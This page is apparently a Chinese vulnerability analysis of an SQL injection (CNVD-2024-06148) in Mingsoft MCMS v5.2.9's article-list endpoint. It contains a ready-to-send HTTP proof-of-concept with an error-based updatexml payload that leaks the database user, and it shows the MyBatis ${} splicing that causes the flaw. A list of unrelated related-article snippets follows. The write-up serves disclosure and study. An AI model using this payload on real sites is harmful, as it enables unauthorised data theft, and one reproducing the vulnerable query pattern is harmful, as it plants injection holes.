CNVD-2024-06148 Mingsoft MCMS v5.2.9 前台查询文章列表接口 SQL注入漏洞分析

MCMS是中国铭飞(MingSoft)公司的一个完整开源的J2ee系统。江西铭软科技有限公司MCMS v5.2.9版本存在SQL注入漏洞,该漏洞源于/content/list.do中的categoryType参数缺少对外部输入SQL语句的验证,攻击者可利用该漏洞获取数据库敏感数据。

项目地址

MCMS: 🌈🌈🌈祝开发者2024新年快乐🧧!免费可商用的开源Java CMS内容管理系统/基于SpringBoot 2/前端element UI/提供上百套模板,同时提供实用的插件/每两个月收集issues问题并更新版本/一套简单好用开源免费的Java CMS内容管理系/一整套优质的开源生态内容体系。铭飞的使命就是降低开发成本提高开发效率,提供全方位的企业级开发解决方案。icon-default.png?t=N7T8https://gitee.com/mingSoft/MCMS

参考链接

  • Mingsoft MCMS v5.2.9 前台查询文章列表接口存在SQL注入 · Issue #I8MAJK · 铭飞/MCMS - Gitee.com

  • https://www.cnvd.org.cn/flaw/show/CNVD-2024-06148

漏洞复现

POST /cms/content/list.do HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
Content-Length: 326
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate, br

categoryType=1&sqlWhere=%5b%7b%22action%22%3a%22and%22%2c%22field%22%3a%22updatexml(1%2cconcat(0x7e%2c(SELECT%20%20current_user)%2c0x7e)%2c1)%22%2c%22el%22%3a%22eq%22%2c%22model%22%3a%22contentTitle%22%2c%22name%22%3a%22æç« æ é¢%22%2c%22type%22%3a%22input%22%2c%22value%22%3a%22111%22%7d%5d&pageNo=1&pageSize=10

 

漏洞分析

在IContentDao.xml中找到了类似${}的sql语句,这说明此系统至少存在4个sql注入漏洞

我们分析第一个/cms/content/list.do 的sql语句调用

来到控制器层

 

@PostMapping("/list")
@ResponseBody
public ResultData list(@ModelAttribute @ApiIgnore ContentBean content) {
   BasicUtil.startPage();
   List contentList = contentBiz.query(content);
   return ResultData.build().success(new EUListBean(contentList,(int)BasicUtil.endPage(contentList).getTotal()));
}

ContentBean的成员均可为我们可控

跟入contentBiz.query方法

public List<T> query(BaseEntity entity) {
    return this.getDao().query(entity);
}

在跟入getDao().query方法

在IBaseDao.class 中

/** @deprecated */
@Deprecated
<E> E getByEntity(BaseEntity entity);
​
List<E> query(BaseEntity entity);

找到对应的实现类

 

<!--条件查询-->
<select id="query" resultMap="resultContentMap">
   <!--,CONCAT('/html/',ct.app_id,category_path,'/',ct.id,'.html') AS static_url-->
   select ct.* from (
   select ct.*,cc.category_path from cms_content ct
   join cms_category cc on ct.category_id=cc.id
   <where>
      ct.del=0
      <if test="contentTitle != null and contentTitle != ''"> and  content_title like CONCAT(CONCAT('%',#{contentTitle}),'%')</if>
      <if test="categoryId != null and categoryId != ''">    and (ct.category_id=#{categoryId} or ct.category_id in
         (select id FROM cms_category where find_in_set(#{categoryId},CATEGORY_PARENT_IDS)>0))</if>
      <if test="contentType != null and contentType != ''">
         and
         <foreach item="item" index="index" collection="contentType.split(',')" open="(" separator="or"
                close=")">
            FIND_IN_SET(#{item},ct.content_type)>0
         </foreach>
      </if>
      <if test="contentDisplay != null and contentDisplay != ''"> and content_display=#{contentDisplay}</if>
      <if test="contentAuthor != null and contentAuthor != ''"> and content_author=#{contentAuthor}</if>
      <if test="contentSource != null and contentSource != ''"> and content_source=#{contentSource}</if>
      <if test="contentDatetime != null"> and content_datetime=#{contentDatetime} </if>
      <if test="contentSort != null"> and content_sort=#{contentSort} </if>
      <if test="contentImg != null and contentImg != ''"> and content_img=#{contentImg}</if>
      <if test="contentDescription != null and contentDescription != ''"> and content_description=#{contentDescription}</if>
      <if test="contentKeyword != null and contentKeyword != ''"> and content_keyword=#{contentKeyword}</if>
      <if test="contentDetails != null and contentDetails != ''"> and content_details=#{contentDetails}</if>
      <if test="contentUrl != null and contentUrl != ''"> and content_url=#{contentUrl}</if>
      <if test="contentHit != null"> and content_hit=#{contentHit}</if>
      <if test="createBy &gt; 0"> and ct.create_by=#{createBy} </if>
      <if test="createDate != null"> and ct.create_date=#{createDate} </if>
      <if test="updateBy &gt; 0"> and ct.update_by=#{updateBy} </if>
      <if test="updateDate != null"> and update_date=#{updateDate} </if>
      <include refid="net.mingsoft.base.dao.IBaseDao.sqlWhere"></include>
   </where>
   )ct ORDER BY ct.content_datetime desc,content_sort desc
</select>

在查询语句中引用这个 sqlWhere片段,找出来

 

<sql id="sqlWhere" databaseId="mysql">
    <if test="sqlWhereList != null">
    <foreach collection="sqlWhereList" item="item" index="index"
             open="and( " separator=" " close=" )">

        <if test="item.el == 'eq'">
            <choose>
                <when test="item.multiple != null and item.multiple == true">
                    FIND_IN_SET(#{item.value}, ${item.field})>0
                </when>
                <otherwise>
                    ${item.field} = #{item.value}
                </otherwise>
            </choose>
        </if>
        <if test="item.el == 'gt'">
            <choose>
                <when test="item.type=='time'||item.type=='date'">
                    <if test="item.type=='time'">
                        date_format(${item.field},'%T') &gt; date_format(#{item.value},'%T')
                    </if>
                    <if test="item.type=='date'">
                        date_format(${item.field},'%Y-%m-%d %H:%i:%s') &gt; date_format(#{item.value},'%Y-%m-%d %H:%i:%s')
                    </if>
                </when>
                <otherwise>
                    ${item.field} &gt; #{item.value}
                </otherwise>
            </choose>
        </if>
        <if test="item.el == 'gte'">
            ${item.field} &gt;= #{item.value}
        </if>
        <if test="item.el == 'lt'">
            <choose>
                <when test="item.type=='time'||item.type=='date'">
                    <if test="item.type=='time'">
                        date_format(${item.field},'%T') &lt; date_format(#{item.value},'%T')
                    </if>
                    <if test="item.type=='date'">
                        date_format(${item.field},'%Y-%m-%d %H:%i:%s') &lt; date_format(#{item.value},'%Y-%m-%d %H:%i:%s')
                    </if>
                </when>
                <otherwise>
                    ${item.field} &lt; #{item.value}
                </otherwise>
            </choose>
        </if>
        <if test="item.el == 'lte'">
            ${item.field} &lt;= #{item.value}
        </if>
        <if test="item.el == 'like'">
            ${item.field} like CONCAT(CONCAT('%',#{item.value}),'%')
        </if>
        <if test="item.el == 'likeLeft'">
            ${item.field} like CONCAT(CONCAT(#{item.value}),'%')
        </if>
        <if test="item.el == 'likeRight'">
            ${item.field} like CONCAT('%',#{item.value})
        </if>
        <if test="item.el == 'in'">
            ${item.field} in (${item.value})
        </if>
        <if test="item.el == 'range'">
            <if test="item.type=='time'">
                date_format(${item.field},'%T') BETWEEN date_format(#{item.value[0]},'%T') AND date_format(#{item.value[1]},'%T')
            </if>
            <if test="item.type=='date'">
                date_format(${item.field},'%Y-%m-%d %H:%i:%s') BETWEEN date_format(#{item.value[0]},'%Y-%m-%d %H:%i:%s') AND date_format(#{item.value[1]},'%Y-%m-%d %H:%i:%s')
            </if>
        </if>

        <if test="index != (sqlWhereList.size() - 1)">
            <choose>
                <!--防注入-->
                <when test="item.action == 'and' or item.action == 'or'">
                    ${item.action}
                </when>
                <otherwise>
                    and
                </otherwise>
            </choose>
        </if>
    </foreach>
    </if>
</sql>

注意${}的引用

    <if test="item.el == 'eq'">
        <choose>
            <when test="item.multiple != null and item.multiple == true">
                FIND_IN_SET(#{item.value}, ${item.field})>0
            </when>
            <otherwise>
                ${item.field} = #{item.value}
            </otherwise>
        </choose>
    </if>

类似于这样where xxx=xxxx 是可以照成sql注入的,

所以参数写成写成这样

[{"action":"and","field":"updatexml(1,concat(0x7e,(SELECT current_user),0x7e),1)","el":"eq","model":"contentTitle","name":"æç« æ é¢","type":"input","value":"111"}]

重要的就是field字段 以及没有multiple字段

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/509927.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

[Linux]基础IO(上)--理解文件系统调用、文件描述符、万物皆文件

一、文件的理解 每种语言都有进行文件操作的函数接口&#xff0c;例如C语言的fopen、fwrite、fprintf等等&#xff0c;但是进行文件操作的前提是代码已经跑起来&#xff0c;因为文件的打开与关闭要通过CPU来运行程序代码&#xff0c;所以打开文件的本质是进程打开文件&#xff…

【C/C++】C++学籍信息管理系统(源码+报告)【独一无二】

&#x1f449;博__主&#x1f448;&#xff1a;米码收割机 &#x1f449;技__能&#x1f448;&#xff1a;C/Python语言 &#x1f449;公众号&#x1f448;&#xff1a;测试开发自动化【获取源码商业合作】 &#x1f449;荣__誉&#x1f448;&#xff1a;阿里云博客专家博主、5…

C++初阶:list类及模拟实现

list的介绍及使用 list的介绍 list 1. list 是可以在常数范围内在任意位置进行插入和删除的序列式容器&#xff0c;并且该容器可以前后双向迭代。 2. list 的底层是双向链表结构&#xff0c;双向链表中每个元素存储在互不相关的独立节点中&#xff0c;在节点中通过指针指向…

BGP-安全特性、扩展特性、增强特性

BGP-安全特性&#xff0c;扩展特性 BGP路由反射器和联盟的比较 反射器 联盟 不需要更改现有的网络拓扑&#xff0c;兼容性号 需要修改逻辑拓扑 配置方便&#xff0c;客户机不知道自己是客户机 所有设备需要重新进行配置&#xff0c;且所有设备必须支持联盟功能 集群与集群…

爬虫逆向实战(39)-某某兔装修网登陆(RSA)

一、数据接口分析 主页地址&#xff1a;某某兔装修网 1、抓包 通过抓包可以发现登陆是表单提交 2、判断是否有加密参数 请求参数是否加密&#xff1f; 通过查看“载荷”模块&#xff0c;可以发现有一个val和password的加密参数 请求头是否加密&#xff1f; 无响应是否加密…

苹果开发者账号注册步骤中的常见疑问解答与技巧分享

转载&#xff1a;注册苹果开发者账号的方法 在2020年以前&#xff0c;注册苹果开发者账号后&#xff0c;就可以生成证书。 但2020年后&#xff0c;因为注册苹果开发者账号需要使用Apple Developer app注册开发者账号&#xff0c;所以需要缴费才能创建ios证书了。 所以新政策出…

【React】React知识要点记录

描述UI 万物皆组件 为什么多个 JSX 标签需要被一个父元素包裹&#xff1f; 切勿将数字放在 && 左侧 React 中为什么需要 key&#xff1f; React 为何侧重于纯函数? 渲染树 模块依赖树 添加交互 React如何传递事件处理函数&#xff1f; React 如何知道返回哪个 sta…

【THM】SQL Injection(SQL注入)-初级渗透测试

简介 SQL(结构化查询语言)注入,通常称为 SQLi,是对 Web 应用程序数据库服务器的攻击,导致执行恶意查询。当 Web 应用程序使用未经正确验证的用户输入与数据库进行通信时,攻击者有可能窃取、删除或更改私人数据和客户数据,并攻击 Web 应用程序身份验证方法以获取私有数据…

Keil MDK 5.37 及之后版本 安装 AC5(ARMCC) 编译器详细步骤

由于 Keil 5.37 及之后版本不再默认安装 AC5(ARMCC) 编译器&#xff0c;这就会导致由 AC5 编译的工程无法正常编译&#xff0c;往往输出窗口会提示以下信息&#xff1a;*** Target ‘STM32xxxx‘ uses ARM-Compiler ‘Default Compiler Version 5‘ which is not available. —…

UDS 诊断入门-1 概述

1、简介 诊断服务是介于诊断设备和ECU之间的一种信息交互方式。通常由诊断设备发出请求&#xff0c;ECU做出回应。 doCAN&#xff1a;基于CAN协议的诊断 DoIP&#xff1a;Diagnostic communication Over IP (DoIP) is a standard developed by ISO-13400 for vehicle commun…

STC8H8K64U 学习笔记 - PWM

STC8H8K64U 学习笔记 - PWM 环境说明引脚说明 PWM呼吸灯震动马达 乐谱 环境说明 该内容仅针对我自己学习的开发板做的笔记&#xff0c;在实际开发中需要针对目标电路板的原理图进行针对性研究。 芯片&#xff1a;STC8H8K64U烧录软件&#xff1a;stc-isp-v6.92G编码工具&#xf…

CSS面试题---基础

1、css选择器及优先级 选择器优先级&#xff1a;内联样式>id选择器>类选择器、属性选择器、伪类选择器>标签选择器、微元素选择器 注意&#xff1a; !important优先级最高&#xff1b; 如果优先级相同&#xff0c;则最后出现的样式生效&#xff1b; 继承得到的样式优先…

Google DeepMind 大语言模型中的长形态事实性

&#x1f349; CSDN 叶庭云&#xff1a;https://yetingyun.blog.csdn.net/ 论文标题&#xff1a;Long-form factuality in large language models 论文链接&#xff1a;https://arxiv.org/abs/2403.18802 论文的关键信息总结如下&#xff1a; 研究问题是什么&#xff1f;论文…

Python+requests+Pytest+logging+allure+pymysql框架详解

一、框架目录结构 1)tools目录用来放公共方法存储,如发送接口以及读取测试数据的方法,响应断言 数据库断言 前置sql等方法;2)datas目录用例存储接口用例的测试数据,我是用excel来存储的数据,文件数据 图片数据等;3)testcases目录用来存放测试用例,一个python文件对应…

docker容器之etcd安装

一、etcd介绍 1、etcd是什么 etcd是CoreOS团队于2013年6月发起的开源项目&#xff0c;它的目标是构建一个高可用的分布式键值(key-value)数据库。 2、etcd特点 简单的接口&#xff0c;通过标准的HTTP API进行调用&#xff0c;也可以使用官方提供的 etcdctl 操作存储的数据。…

Java | Leetcode Java题解之第3题无重复字符的最长子串

题目&#xff1a; 题解&#xff1a; class Solution {public int lengthOfLongestSubstring(String s) {// 哈希集合&#xff0c;记录每个字符是否出现过Set<Character> occ new HashSet<Character>();int n s.length();// 右指针&#xff0c;初始值为 -1&#…

【好书推荐4】图机器学习

【好书推荐4】图机器学习 写在最前面编辑推荐内容简介作者简介目录前言/序言本书读者内容介绍 &#x1f308;你好呀&#xff01;我是 是Yu欸 &#x1f30c; 2024每日百字篆刻时光&#xff0c;感谢你的陪伴与支持 ~ &#x1f680; 欢迎一起踏上探险之旅&#xff0c;挖掘无限可能…

67、yolov8目标检测和旋转目标检测算法batchsize=1/6部署Atlas 200I DK A2开发板上

基本思想:需求部署yolov8目标检测和旋转目标检测算法部署atlas 200dk 开发板上 一、转换模型 链接: https://pan.baidu.com/s/1hJPX2QvybI4AGgeJKO6QgQ?pwd=q2s5 提取码: q2s5 from ultralytics import YOLO# Load a model model = YOLO("yolov8s.yaml") # buil…

辽宁梵宁教育:设计领域的靠谱正规线上教育机构典范

辽宁梵宁教育&#xff0c;作为一家专注于学习设计的线上教育机构&#xff0c;近年来在业界崭露头角&#xff0c;赢得了广大学习者的认可和好评。接下来&#xff0c;本文将从多个维度详细阐述梵宁教育为何是一家靠谱且正规的线上教育机构。 梵宁教育在师资力量上表现出色。其拥有…

0基础学习Mybatis系列数据库操作框架——目录结构

大纲 配置的修改代码的修改Main.java文件所在包下新增org.example.model包新增org.example.mapper包 单元测试 在《0基础学习Mybatis系列数据库操作框架——最小Demo》一文中&#xff0c;我们用最简单的方法组织出一个Mybatis应用项目。为了后续构建更符合日常开发环境的项目&a…